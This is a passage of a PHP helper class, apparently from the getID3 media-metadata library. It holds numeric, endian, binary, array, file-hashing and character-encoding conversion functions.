			$truncatednumber = ceil($floatnumber);
		} else {
			$truncatednumber = 0;
		}
		if (self::intValueSupported($truncatednumber)) {
			$truncatednumber = (int) $truncatednumber;
		}
		return $truncatednumber;
	}

	/**
	 * @param int|null $variable
	 * @param int      $increment
	 *
	 * @return bool
	 */
	public static function safe_inc(&$variable, $increment=1) {
		if (isset($variable)) {
			$variable += $increment;
		} else {
			$variable = $increment;
		}
		return true;
	}

	/**
	 * @param int|float $floatnum
	 *
	 * @return int|float
	 */
	public static function CastAsInt($floatnum) {
		// convert to float if not already
		$floatnum = (float) $floatnum;

		// convert a float to type int, only if possible
		if (self::trunc($floatnum) == $floatnum) {
			// it's not floating point
			if (self::intValueSupported($floatnum)) {
				// it's within int range
				$floatnum = (int) $floatnum;
			}
		}
		return $floatnum;
	}

	/**
	 * @param int $num
	 *
	 * @return bool
	 */
	public static function intValueSupported($num) {
		// check if integers are 64-bit
		static $hasINT64 = null;
		if ($hasINT64 === null) { // 10x faster than is_null()
			$hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1
			if (!$hasINT64 && !defined('PHP_INT_MIN')) {
				define('PHP_INT_MIN', ~PHP_INT_MAX);
			}
		}
		// if integers are 64-bit - no other check required
		if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) {
			return true;
		}
		return false;
	}

	/**
	 * Perform a division, guarding against division by zero
	 *
	 * @param float|int $numerator
	 * @param float|int $denominator
	 * @param float|int $fallback
	 * @return float|int
	 */
	public static function SafeDiv($numerator, $denominator, $fallback = 0) {
		return $denominator ? $numerator / $denominator : $fallback;
	}

	/**
	 * @param string $fraction
	 *
	 * @return float
	 */
	public static function DecimalizeFraction($fraction) {
		list($numerator, $denominator) = explode('/', $fraction);
		return (int) $numerator / ($denominator ? $denominator : 1);
	}

	/**
	 * @param string $binarynumerator
	 *
	 * @return float
	 */
	public static function DecimalBinary2Float($binarynumerator) {
		$numerator   = self::Bin2Dec($binarynumerator);
		$denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator)));
		return ($numerator / $denominator);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param string $binarypointnumber
	 * @param int    $maxbits
	 *
	 * @return array
	 */
	public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) {
		if (strpos($binarypointnumber, '.') === false) {
			$binarypointnumber = '0.'.$binarypointnumber;
		} elseif ($binarypointnumber[0] == '.') {
			$binarypointnumber = '0'.$binarypointnumber;
		}
		$exponent = 0;
		while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) {
			if (substr($binarypointnumber, 1, 1) == '.') {
				$exponent--;
				$binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3);
			} else {
				$pointpos = strpos($binarypointnumber, '.');
				$exponent += ($pointpos - 1);
				$binarypointnumber = str_replace('.', '', $binarypointnumber);
				$binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1);
			}
		}
		$binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT);
		return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent);
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
	 *
	 * @param float $floatvalue
	 *
	 * @return string
	 */
	public static function Float2BinaryDecimal($floatvalue) {
		$maxbits = 128; // to how many bits of precision should the calculations be taken?
		$intpart   = self::trunc($floatvalue);
		$floatpart = abs($floatvalue - $intpart);
		$pointbitstring = '';
		while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) {
			$floatpart *= 2;
			$pointbitstring .= (string) self::trunc($floatpart);
			$floatpart -= self::trunc($floatpart);
		}
		$binarypointnumber = decbin($intpart).'.'.$pointbitstring;
		return $binarypointnumber;
	}

	/**
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
	 *
	 * @param float $floatvalue
	 * @param int $bits
	 *
	 * @return string|false
	 */
	public static function Float2String($floatvalue, $bits) {
		$exponentbits = 0;
		$fractionbits = 0;
		switch ($bits) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			default:
				return false;
		}
		if ($floatvalue >= 0) {
			$signbit = '0';
		} else {
			$signbit = '1';
		}
		$normalizedbinary  = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits);
		$biasedexponent    = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent
		$exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT);
		$fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT);

		return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false);
	}

	/**
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function LittleEndian2Float($byteword) {
		return self::BigEndian2Float(strrev($byteword));
	}

	/**
	 * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic
	 *
	 * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php
	 * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html
	 *
	 * @param string $byteword
	 *
	 * @return float|false
	 */
	public static function BigEndian2Float($byteword) {
		$bitword = self::BigEndian2Bin($byteword);
		if (!$bitword) {
			return 0;
		}
		$signbit = $bitword[0];
		$floatvalue = 0;
		$exponentbits = 0;
		$fractionbits = 0;

		switch (strlen($byteword) * 8) {
			case 32:
				$exponentbits = 8;
				$fractionbits = 23;
				break;

			case 64:
				$exponentbits = 11;
				$fractionbits = 52;
				break;

			case 80:
				// 80-bit Apple SANE format
				// http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
				$exponentstring = substr($bitword, 1, 15);
				$isnormalized = intval($bitword[16]);
				$fractionstring = substr($bitword, 17, 63);
				$exponent = pow(2, self::Bin2Dec($exponentstring) - 16383);
				$fraction = $isnormalized + self::DecimalBinary2Float($fractionstring);
				$floatvalue = $exponent * $fraction;
				if ($signbit == '1') {
					$floatvalue *= -1;
				}
				return $floatvalue;

			default:
				return false;
		}
		$exponentstring = substr($bitword, 1, $exponentbits);
		$fractionstring = substr($bitword, $exponentbits + 1, $fractionbits);
		$exponent = self::Bin2Dec($exponentstring);
		$fraction = self::Bin2Dec($fractionstring);

		if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) {
			// Not a Number
			$floatvalue = NAN;
		} elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -INF;
			} else {
				$floatvalue = INF;
			}
		} elseif (($exponent == 0) && ($fraction == 0)) {
			if ($signbit == '1') {
				$floatvalue = -0.0;
			} else {
				$floatvalue = 0.0;
			}
		} elseif (($exponent == 0) && ($fraction != 0)) {
			// These are 'unnormalized' values
			$floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring);
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		} elseif ($exponent != 0) {
			$floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring));
			if ($signbit == '1') {
				$floatvalue *= -1;
			}
		}
		return (float) $floatvalue;
	}

	/**
	 * @param string $byteword
	 * @param bool   $synchsafe
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 * @throws Exception
	 */
	public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) {
		$intvalue = 0;
		$bytewordlen = strlen($byteword);
		if ($bytewordlen == 0) {
			return false;
		}
		for ($i = 0; $i < $bytewordlen; $i++) {
			if ($synchsafe) { // disregard MSB, effectively 7-bit bytes
				//$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems
				$intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7);
			} else {
				$intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i));
			}
		}
		if ($signed && !$synchsafe) {
			// synchsafe ints are not allowed to be signed
			if ($bytewordlen <= PHP_INT_SIZE) {
				$signMaskBit = 0x80 << (8 * ($bytewordlen - 1));
				if ($intvalue & $signMaskBit) {
					$intvalue = 0 - ($intvalue & ($signMaskBit - 1));
				}
			} else {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()');
			}
		}
		return self::CastAsInt($intvalue);
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	public static function LittleEndian2Int($byteword, $signed=false) {
		return self::BigEndian2Int(strrev($byteword), false, $signed);
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function LittleEndian2Bin($byteword) {
		return self::BigEndian2Bin(strrev($byteword));
	}

	/**
	 * @param string $byteword
	 *
	 * @return string
	 */
	public static function BigEndian2Bin($byteword) {
		$binvalue = '';
		$bytewordlen = strlen($byteword);
		for ($i = 0; $i < $bytewordlen; $i++) {
			$binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT);
		}
		return $binvalue;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 * @param bool $signed
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) {
		if ($number < 0) {
			throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers');
		}
		$maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF);
		$intstring = '';
		if ($signed) {
			if ($minbytes > PHP_INT_SIZE) {
				throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()');
			}
			$number = $number & (0x80 << (8 * ($minbytes - 1)));
		}
		while ($number != 0) {
			$quotient = ($number / ($maskbyte + 1));
			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
			$number = floor($quotient);
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT);
	}

	/**
	 * @param int $number
	 *
	 * @return string
	 */
	public static function Dec2Bin($number) {
		if (!is_numeric($number)) {
			// https://github.com/JamesHeinrich/getID3/issues/299
			trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING);
			return '';
		}
		$bytes = array();
		while ($number >= 256) {
			$bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256;
			$number = floor($number / 256);
		}
		$bytes[] = (int) $number;
		$binstring = '';
		foreach ($bytes as $i => $byte) {
			$binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring;
		}
		return $binstring;
	}

	/**
	 * @param string $binstring
	 * @param bool   $signed
	 *
	 * @return int|float
	 */
	public static function Bin2Dec($binstring, $signed=false) {
		$signmult = 1;
		if ($signed) {
			if ($binstring[0] == '1') {
				$signmult = -1;
			}
			$binstring = substr($binstring, 1);
		}
		$decvalue = 0;
		for ($i = 0; $i < strlen($binstring); $i++) {
			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
		}
		return self::CastAsInt($decvalue * $signmult);
	}

	/**
	 * @param string $binstring
	 *
	 * @return string
	 */
	public static function Bin2String($binstring) {
		// return 'hi' for input of '0110100001101001'
		$string = '';
		$binstringreversed = strrev($binstring);
		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
			$string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
		}
		return $string;
	}

	/**
	 * @param int  $number
	 * @param int  $minbytes
	 * @param bool $synchsafe
	 *
	 * @return string
	 */
	public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) {
		$intstring = '';
		while ($number > 0) {
			if ($synchsafe) {
				$intstring = $intstring.chr($number & 127);
				$number >>= 7;
			} else {
				$intstring = $intstring.chr($number & 255);
				$number >>= 8;
			}
		}
		return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT);
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_clobber($array1, $array2) {
		// written by kcØhireability*com
		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_clobber($newarray[$key], $val);
			} else {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false
	 */
	public static function array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		$newarray = $array1;
		foreach ($array2 as $key => $val) {
			if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) {
				$newarray[$key] = self::array_merge_noclobber($newarray[$key], $val);
			} elseif (!isset($newarray[$key])) {
				$newarray[$key] = $val;
			}
		}
		return $newarray;
	}

	/**
	 * @param mixed $array1
	 * @param mixed $array2
	 *
	 * @return array|false|null
	 */
	public static function flipped_array_merge_noclobber($array1, $array2) {
		if (!is_array($array1) || !is_array($array2)) {
			return false;
		}
		# naturally, this only works non-recursively
		$newarray = array_flip($array1);
		foreach (array_flip($array2) as $key => $val) {
			if (!isset($newarray[$key])) {
				$newarray[$key] = count($newarray);
			}
		}
		return array_flip($newarray);
	}

	/**
	 * @param array $theArray
	 *
	 * @return bool
	 */
	public static function ksort_recursive(&$theArray) {
		ksort($theArray);
		foreach ($theArray as $key => $value) {
			if (is_array($value)) {
				self::ksort_recursive($theArray[$key]);
			}
		}
		return true;
	}

	/**
	 * @param string $filename
	 * @param int    $numextensions
	 *
	 * @return string
	 */
	public static function fileextension($filename, $numextensions=1) {
		if (strstr($filename, '.')) {
			$reversedfilename = strrev($filename);
			$offset = 0;
			for ($i = 0; $i < $numextensions; $i++) {
				$offset = strpos($reversedfilename, '.', $offset + 1);
				if ($offset === false) {
					return '';
				}
			}
			return strrev(substr($reversedfilename, 0, $offset));
		}
		return '';
	}

	/**
	 * @param int $seconds
	 *
	 * @return string
	 */
	public static function PlaytimeString($seconds) {
		$sign = (($seconds < 0) ? '-' : '');
		$seconds = round(abs($seconds));
		$H = (int) floor( $seconds                            / 3600);
		$M = (int) floor(($seconds - (3600 * $H)            ) /   60);
		$S = (int) round( $seconds - (3600 * $H) - (60 * $M)        );
		return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT);
	}

	/**
	 * @param int $macdate
	 *
	 * @return int|float
	 */
	public static function DateMac2Unix($macdate) {
		// Macintosh timestamp: seconds since 00:00h January 1, 1904
		// UNIX timestamp:      seconds since 00:00h January 1, 1970
		return self::CastAsInt($macdate - 2082844800);
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint8_8($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint16_16($rawdata) {
		return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16));
	}

	/**
	 * @param string $rawdata
	 *
	 * @return float
	 */
	public static function FixedPoint2_30($rawdata) {
		$binarystring = self::BigEndian2Bin($rawdata);
		return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30));
	}


	/**
	 * @param string $ArrayPath
	 * @param string $Separator
	 * @param mixed $Value
	 *
	 * @return array
	 */
	public static function CreateDeepArray($ArrayPath, $Separator, $Value) {
		// assigns $Value to a nested array path:
		//   $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt')
		// is the same as:
		//   $foo = array('path'=>array('to'=>'array('my'=>array('file.txt'))));
		// or
		//   $foo['path']['to']['my'] = 'file.txt';
		$ArrayPath = ltrim($ArrayPath, $Separator);
		$ReturnedArray = array();
		if (($pos = strpos($ArrayPath, $Separator)) !== false) {
			$ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value);
		} else {
			$ReturnedArray[$ArrayPath] = $Value;
		}
		return $ReturnedArray;
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_max($arraydata, $returnkey=false) {
		$maxvalue = false;
		$maxkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($maxvalue === false) || ($value > $maxvalue)) {
					$maxvalue = $value;
					$maxkey = $key;
				}
			}
		}
		return ($returnkey ? $maxkey : $maxvalue);
	}

	/**
	 * @param array $arraydata
	 * @param bool  $returnkey
	 *
	 * @return int|false
	 */
	public static function array_min($arraydata, $returnkey=false) {
		$minvalue = false;
		$minkey   = false;
		foreach ($arraydata as $key => $value) {
			if (!is_array($value)) {
				if (($minvalue === false) || ($value < $minvalue)) {
					$minvalue = $value;
					$minkey = $key;
				}
			}
		}
		return ($returnkey ? $minkey : $minvalue);
	}

	/**
	 * @param string $XMLstring
	 *
	 * @return array|false
	 */
	public static function XML2array($XMLstring) {
		if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
			// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
			// https://core.trac.wordpress.org/changeset/29378
			// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
			// disabled by default, but is still needed when LIBXML_NOENT is used.
			$loader = @libxml_disable_entity_loader(true);
			$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
			$return = self::SimpleXMLelement2array($XMLobject);
			@libxml_disable_entity_loader($loader);
			return $return;
		}
		return false;
	}

	/**
	* @param SimpleXMLElement|array|mixed $XMLobject
	*
	* @return mixed
	*/
	public static function SimpleXMLelement2array($XMLobject) {
		if (!is_object($XMLobject) && !is_array($XMLobject)) {
			return $XMLobject;
		}
		$XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject;
		foreach ($XMLarray as $key => $value) {
			$XMLarray[$key] = self::SimpleXMLelement2array($value);
		}
		return $XMLarray;
	}

	/**
	 * Returns checksum for a file from starting position to absolute end position.
	 *
	 * @param string $file
	 * @param int    $offset
	 * @param int    $end
	 * @param string $algorithm
	 *
	 * @return string|false
	 * @throws getid3_exception
	 */
	public static function hash_data($file, $offset, $end, $algorithm) {
		if (!self::intValueSupported($end)) {
			return false;
		}
		if (!in_array($algorithm, array('md5', 'sha1'))) {
			throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()');
		}

		$size = $end - $offset;

		$fp = fopen($file, 'rb');
		fseek($fp, $offset);
		$ctx = hash_init($algorithm);
		while ($size > 0) {
			$buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE));
			hash_update($ctx, $buffer);
			$size -= getID3::FREAD_BUFFER_SIZE;
		}
		$hash = hash_final($ctx);
		fclose($fp);

		return $hash;
	}

	/**
	 * @param string $filename_source
	 * @param string $filename_dest
	 * @param int    $offset
	 * @param int    $length
	 *
	 * @return bool
	 * @throws Exception
	 *
	 * @deprecated Unused, may be removed in future versions of getID3
	 */
	public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) {
		if (!self::intValueSupported($offset + $length)) {
			throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit');
		}
		if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) {
			if (($fp_dest = fopen($filename_dest, 'wb'))) {
				if (fseek($fp_src, $offset) == 0) {
					$byteslefttowrite = $length;
					while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) {
						$byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite);
						$byteslefttowrite -= $byteswritten;
					}
					fclose($fp_dest);
					return true;
				} else {
					fclose($fp_src);
					throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source);
				}
			} else {
				throw new Exception('failed to create file for writing '.$filename_dest);
			}
		} else {
			throw new Exception('failed to open file for reading '.$filename_source);
		}
	}

	/**
	 * @param int $charval
	 *
	 * @return string
	 */
	public static function iconv_fallback_int_utf8($charval) {
		if ($charval < 128) {
			// 0bbbbbbb
			$newcharstring = chr($charval);
		} elseif ($charval < 2048) {
			// 110bbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} elseif ($charval < 65536) {
			// 1110bbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  12) | 0xE0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		} else {
			// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
			$newcharstring  = chr(($charval >>  18) | 0xF0);
			$newcharstring .= chr(($charval >>  12) | 0xC0);
			$newcharstring .= chr(($charval >>   6) | 0xC0);
			$newcharstring .= chr(($charval & 0x3F) | 0x80);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-8
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf8($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xEF\xBB\xBF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$charval = ord($string[$i]);
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= "\x00".$string[$i];
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		for ($i = 0; $i < strlen($string); $i++) {
			$newcharstring .= $string[$i]."\x00";
		}
		return $newcharstring;
	}

	/**
	 * ISO-8859-1 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_iso88591_utf16($string) {
		return self::iconv_fallback_iso88591_utf16le($string, true);
	}

	/**
	 * UTF-8 => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_iso88591($string) {
		$newcharstring = '';
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 256) ? chr($charval) : '?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16BE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16be($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFE\xFF";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? maybe throw some warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16($string) {
		return self::iconv_fallback_utf8_utf16le($string, true);
	}

	/**
	 * UTF-16BE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_utf8($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_utf8($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16BE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_iso88591($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
